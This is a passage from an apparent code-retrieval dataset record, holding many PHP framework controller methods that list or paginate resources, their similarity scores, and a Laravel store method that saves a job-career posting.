$this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $career = new Career(); $career->title = $request->title; $career->company = $request->company; $career->experience = $request->experience; $career->vacancy = $request->vacancy; $career->education = $request->education; $career->deadline = $request->deadline; $career->location = $request->location; $career->salary = $request->salary; $career->catid = $request->catid; $career->posteddate = date('d/m/Y'); $career->topdescription = $request->topdescription; $career->howtoapply = $request->howtoapply; $career->responsibilitiestext = $request->responsibilitiestext; if($request->program){ $career->responsibilitiespoint = json_encode($request->program); } if($request->qualification){ $career->qualification = json_encode($request->qualification); } $career->save(); return response()->json($career); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n 